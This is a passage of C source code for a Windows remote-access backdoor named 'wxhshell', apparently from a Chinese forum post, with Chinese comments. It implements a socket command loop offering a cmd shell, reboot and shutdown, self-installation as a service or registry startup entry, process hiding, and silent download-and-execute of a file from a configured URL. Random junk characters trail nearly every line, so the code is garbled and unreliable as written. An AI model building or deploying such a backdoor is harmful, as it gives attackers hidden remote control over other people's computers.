  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *DPKV$  
  } ?/^{sW' |  
  else { ad`=A V]  
LqoH]AcN  
    switch(cmd[0]) { nVGWJ3  
  sm at6p[  
  // 帮助 A5%cgr% 6  
  case '?': { xZ>@wBQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0<42\ya  
    break; gutf[Ksu  
  } 'Ad|*~  
  // 安装 %p tw=Ju  
  case 'i': { ts;C:.X  
    if(Install()) CC XOxd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;-!O+c  
    else -ei+r#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [<IJ{yfx  
    break; L?r\J8Ch<  
    } p@%H. 5&&  
  // 卸载  Y$nI9  
  case 'r': { .oz(,$CS"  
    if(Uninstall()) ?tf<AZ=+^L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |eH*Q%M  
    else tz_WxOQ0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9~yp =JOV@  
    break; f^ 6da6Z  
    } );L+)UV  
  // 显示 wxhshell 所在路径 Z~HLa  
  case 'p': { B}npom\tC  
    char svExeFile[MAX_PATH]; +M.!_2t$2  
    strcpy(svExeFile,"\n\r"); 'T*h0xX  
      strcat(svExeFile,ExeFile); ~0Xx]  
        send(wsh,svExeFile,strlen(svExeFile),0); zmh5x{US1  
    break; <x\I*%(  
    } K]yUPx  
  // 重启 `d!~)D  
  case 'b': { +*KDtqZjk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S<"`9r)av  
    if(Boot(REBOOT)) ~ ]^<*R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  @po|07  
    else { s]i<D9h  
    closesocket(wsh); X.JPM{]  
    ExitThread(0); .*+e?-  
    } x<h-F  
    break; O%rt7qV"g2  
    } Tg/r V5@ka  
  // 关机 07A2@dx  
  case 'd': { x).`nZ1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bTc'E#  
    if(Boot(SHUTDOWN)) L+TM3*a*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zq4)Uab*  
    else { znu [i&\=  
    closesocket(wsh); i`" L?3T  
    ExitThread(0); yMBFw:/o  
    } WkK.ON^  
    break; T.iVY5^<  
    } BxHfL8$1[$  
  // 获取shell mY/x|)MmM  
  case 's': { #GA6vJ4^s  
    CmdShell(wsh); Ar1X mHq  
    closesocket(wsh);  XOd  
    ExitThread(0); ~{BR~\D  
    break; s&Ml1 A:  
  } <" F|K!Tz  
  // 退出 Ol1P  
  case 'x': { hwdZP=X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KfMaVU=4P  
    CloseIt(wsh); j!hdi-aTU  
    break; k{B;J\`E;  
    } ,P$Crs[  
  // 离开 lr&O@ 5"oy  
  case 'q': { `~{ 0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =@ "'aCU/  
    closesocket(wsh); J)a^3>  
    WSACleanup(); /_CSRi&  
    exit(1); 7s.vJdA]6  
    break; A_<1}8{L  
        } Q^\f,E\S  
  } :H`Z.>K  
  } h6C:`0o  
Kgu#M i~  
  // 提示信息 vV 7L :>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %<Kw  
} \A/??8cgXs  
  } e8$OV4X  
D}7G|gX1  
  return; g)#.|d+  
} ~4[4"Pi>|  
#J)83  
// shell模块句柄 R|O."&CAB  
int CmdShell(SOCKET sock) PvB-Cqc  
{ L(i0d[F  
STARTUPINFO si; +5IC-=ZB  
ZeroMemory(&si,sizeof(si)); _!C'oG6s?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zlf) dDn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LFV',1+  
PROCESS_INFORMATION ProcessInfo; 9Z;"9$+M  
char cmdline[]="cmd"; M8iI e:{ c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Aq"<#:  
  return 0; 30nR2mB Kt  
} wf=M| #}_  
29GcNiE`T  
// 自身启动模式 k4Ub+F  
int StartFromService(void) H`X>  
{ TWAt)Q"J  
typedef struct ^Q""N<  
{ BA cnFO  
  DWORD ExitStatus; $Hbd:1%i {  
  DWORD PebBaseAddress; VA0p1AD  
  DWORD AffinityMask; ? {vY3~  
  DWORD BasePriority; VN!+r7w'  
  ULONG UniqueProcessId; 0R[onPU_vZ  
  ULONG InheritedFromUniqueProcessId; )k'4]=d <  
}   PROCESS_BASIC_INFORMATION; @F,8M  
gg%9EJpP  
PROCNTQSIP NtQueryInformationProcess; 'Xw> ?[BB  
sQ8_j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (&t8.7O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]@bu%_s"  
}iCcXZ&5^  
  HANDLE             hProcess; A*_ |/o  
  PROCESS_BASIC_INFORMATION pbi; )+xHv  
lH8e?zJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8{ iFxTz  
  if(NULL == hInst ) return 0; { WW!P,w  
3D/<R|p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }m0hq+p^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xh raf1v3\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `L1lGlt  
o?\v 8.n  
  if (!NtQueryInformationProcess) return 0; &*3O+$L  
FeAMt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =h se2f  
  if(!hProcess) return 0; M~k2Y$}R  
p swEIa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m?#J`?E  
C=|X]"*:u0  
  CloseHandle(hProcess); H[KTM'n  
yJ!x`RD),w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tfb_K4h6,  
if(hProcess==NULL) return 0; sLh %k  
C].w)B  
HMODULE hMod; n:d7 Tv1Z8  
char procName[255]; z3X:.%  
unsigned long cbNeeded; a'm\6AW2)  
v<wR`7xG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mrvPzoF,]  
V)g{ Ew]:  
  CloseHandle(hProcess); 9?~K"+-SI  
s$ v<p(yl  
if(strstr(procName,"services")) return 1; // 以服务启动 "P_PqM  
G)'(%rl  
  return 0; // 注册表启动 ;$= GrR  
} |w7D&p$  
~'aK[3  
// 主模块 :P1/kYg  
int StartWxhshell(LPSTR lpCmdLine) !tL&Ktoj  
{ ehCZhi~  
  SOCKET wsl; uk)6%  
BOOL val=TRUE; =u^{Jvl[  
  int port=0; Sd0y=!Pj=  
  struct sockaddr_in door; v%6mH6V  
:n t\uwh  
  if(wscfg.ws_autoins) Install(); [hT|]|fJS;  
o/Cu^[an  
port=atoi(lpCmdLine); -WX{ y Ci  
?6[X=GeUs  
if(port<=0) port=wscfg.ws_port; c3NUJ~>=y  
p0S;$dH\ D  
  WSADATA data; C@8WY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .oR_r1\y  
`LID*uD;_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R?K[O   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LG qg0 (  
  door.sin_family = AF_INET; Mkc|uiT   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9/nS?>11  
  door.sin_port = htons(port); 6q!smM  
^s=p'&6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4:Bpz;x  
closesocket(wsl); O] nZr  
return 1; 6+;B2;*3  
} JG=U@I]  
h+rrmC  
  if(listen(wsl,2) == INVALID_SOCKET) { e%O]U:Z  
closesocket(wsl); )]?"H  
return 1; |{8eoF  
} LBkAi(0rd  
  Wxhshell(wsl); Vg+jF!\7  
  WSACleanup(); iKu~o.yy  
F;&a=R!.  
return 0; DY~zi  
=p lG9  
} />i~No#Xm  
xNaDzu"  
// 以NT服务方式启动 ~!Q\\_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lN-[2vT<  
{ !]-ET7  
DWORD   status = 0; ;| :^zo  
  DWORD   specificError = 0xfffffff; w u  
lVmm`q6n9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ] _ON\v1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :$#"; t|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jPjFp35;zb  
  serviceStatus.dwWin32ExitCode     = 0; Td`0;R'<}c  
  serviceStatus.dwServiceSpecificExitCode = 0; dGrm1w  
  serviceStatus.dwCheckPoint       = 0; 8+irul{H_  
  serviceStatus.dwWaitHint       = 0; = +=k(*  
vV?=r5j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )Z2l*fV  
  if (hServiceStatusHandle==0) return; dgIEc]#pH  
0y"Ra%Y  
status = GetLastError(); o1"-x  
  if (status!=NO_ERROR) v_zVhE tY  
{ +$YluGEJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y_=},a  
    serviceStatus.dwCheckPoint       = 0; 6tBh`nYB=  
    serviceStatus.dwWaitHint       = 0; ^?5 [M^  
    serviceStatus.dwWin32ExitCode     = status; Po=@ 6oB  
    serviceStatus.dwServiceSpecificExitCode = specificError; >**7ck  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A+N%A] 2  
    return; |Ir&C[QS{y  
  } )^C w  
laQM*FLg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {I2qnTN_a  
  serviceStatus.dwCheckPoint       = 0; 6IVa(;  
  serviceStatus.dwWaitHint       = 0; ;3D[[*n9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r3hUa4^97  
} -]?F  
v$H]=y  
// 处理NT服务事件,比如:启动、停止 ft"B,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ftqi>^i  
{ 2bB&/Uumsd  
switch(fdwControl) <~[ A  
{ Q0}Sju+HX  
case SERVICE_CONTROL_STOP: Of*z9 YI  
  serviceStatus.dwWin32ExitCode = 0; ^@&RJa-kb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BpGK`0H  
  serviceStatus.dwCheckPoint   = 0; UqP %S$9  
  serviceStatus.dwWaitHint     = 0; % e@Jc 3  
  { !/6`< eQ `  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;LBq!  
  } dz6i~&  
  return; \.R+|`{tf  
case SERVICE_CONTROL_PAUSE: E_aDkNT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T =l4Vb{>  
  break; j>5D4}*]f  
case SERVICE_CONTROL_CONTINUE: %Tn0r|K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,pgpu !  
  break; nI-^   
case SERVICE_CONTROL_INTERROGATE: ;JK !dzi}  
  break; t/=xY'7  
}; 7%-+7O3ud  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l~/g^lN  
} k_2W*2'S  
FK$?8Jp  
// 标准应用程序主函数 &s|&cT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .[ Z<r>  
{ c&+p{hH+  
X\I"%6$  
// 获取操作系统版本 drJ<&1O  
OsIsNt=GetOsVer(); Uv(THxVh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SLa\F  
2xchjU-  
  // 从命令行安装 %D(% lh2  
  if(strpbrk(lpCmdLine,"iI")) Install(); LV:`si K  
+=5Dt7/|  
  // 下载执行文件 7yU<!p?(  
if(wscfg.ws_downexe) { ?0Qm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )1>fQ9   
  WinExec(wscfg.ws_filenam,SW_HIDE); #8!xIy  
} S}=euY'i  
.H,wdzg)  
if(!OsIsNt) { `XwFH#_  
// 如果时win9x,隐藏进程并且设置为注册表启动 KT)A{i  
HideProc(); |kHPk)}I]  
StartWxhshell(lpCmdLine); _$+lyea   
} l%aiG+z%6}  
else )$*T>.JA  
  if(StartFromService()) hJ+;N  
  // 以服务方式启动 ;_yp@.,\T  
  StartServiceCtrlDispatcher(DispatchTable); l3sL!D1u  
else -NG`mfu  
  // 普通方式启动 BwN65_5p  
  StartWxhshell(lpCmdLine); L{hP&8$k  
7>g^OE f  
return 0; PD$g W`V  
}
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只看该作者 1 发表于: 2006-10-10
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